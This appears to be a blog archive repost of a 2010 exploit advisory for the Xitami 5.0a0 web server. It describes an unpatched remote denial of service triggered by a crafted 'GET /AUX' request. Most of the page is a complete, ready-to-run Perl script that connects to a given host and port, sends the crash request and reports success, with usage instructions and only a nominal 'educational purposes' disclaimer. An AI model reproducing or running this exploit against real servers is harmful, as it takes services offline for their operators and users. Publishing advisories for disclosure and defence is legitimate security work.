Tag Archives: Xitami

Xitami/5.0a0 Webserver Denial Of Service Vulnerability

################################################
# Name : Xitami/5.0a0 Denial Of Service
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: 10/05/10
# Tested on Windows 7 !
################################################

Disclaimer: [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]

[*] Download Page : http://www.xitami.com

[*] Attack type : Remote

[*] Patch Status : Unpatched

[*] Description : By sending a crafted GET request [GET /AUX HTTP/1.0] to the server , the server crashes !

[*] Exploitation :

#!/usr/bin/perl
# Xitami/5.0a0 Denial Of Service
# Disclaimer:
# [This code is for Educational Purposes , I would Not be responsible for any misuse of this code]
# Author: Usman Saeed
# Company: Xc0re Security Research Group
# Website: http://www.xc0re.net
# DATE: [10/05/10]

$host = $ARGV[0];
$PORT = $ARGV[1];

$packet = “AUX”;

$stuff = “GET /”.$packet.” HTTP/1.0\r\n\r\n”;

use IO::Socket::INET;
if (! defined $ARGV[0])
{
print “+========================================================+\n”;
print “+ Program [Xitami/5.0a0 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [10/05/10] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

exit;
}

$sock = IO::Socket::INET->new( Proto => “tcp”,PeerAddr => $host , PeerPort => $PORT) || die “Cant connect to $host!”;
print “+========================================================+\n”;
print “+ Program [Xitami/5.0a0 Denial Of Service] +\n”;
print “+ Author [Usman Saeed] +\n”;
print “+ Company [Xc0re Security Research Group] +\n”;
print “+ DATE: [10/05/10] +\n”;
print “+ Usage :perl sploit.pl webserversip wbsvrport +\n”;
print “+ Disclaimer: [This code is for Educational Purposes , +\n”;
print “+ I would Not be responsible for any misuse of this code]+\n”;
print “+========================================================+\n”;

print “\n”;

print “[*] Initializing\n”;

sleep(2);

print “[*] Sendin DOS Packet \n”;

send ($sock , $stuff , 0);
print “[*] Crashed 🙂 \n”;
$res = recv($sock,$response,1024,0);
print $response;

exit;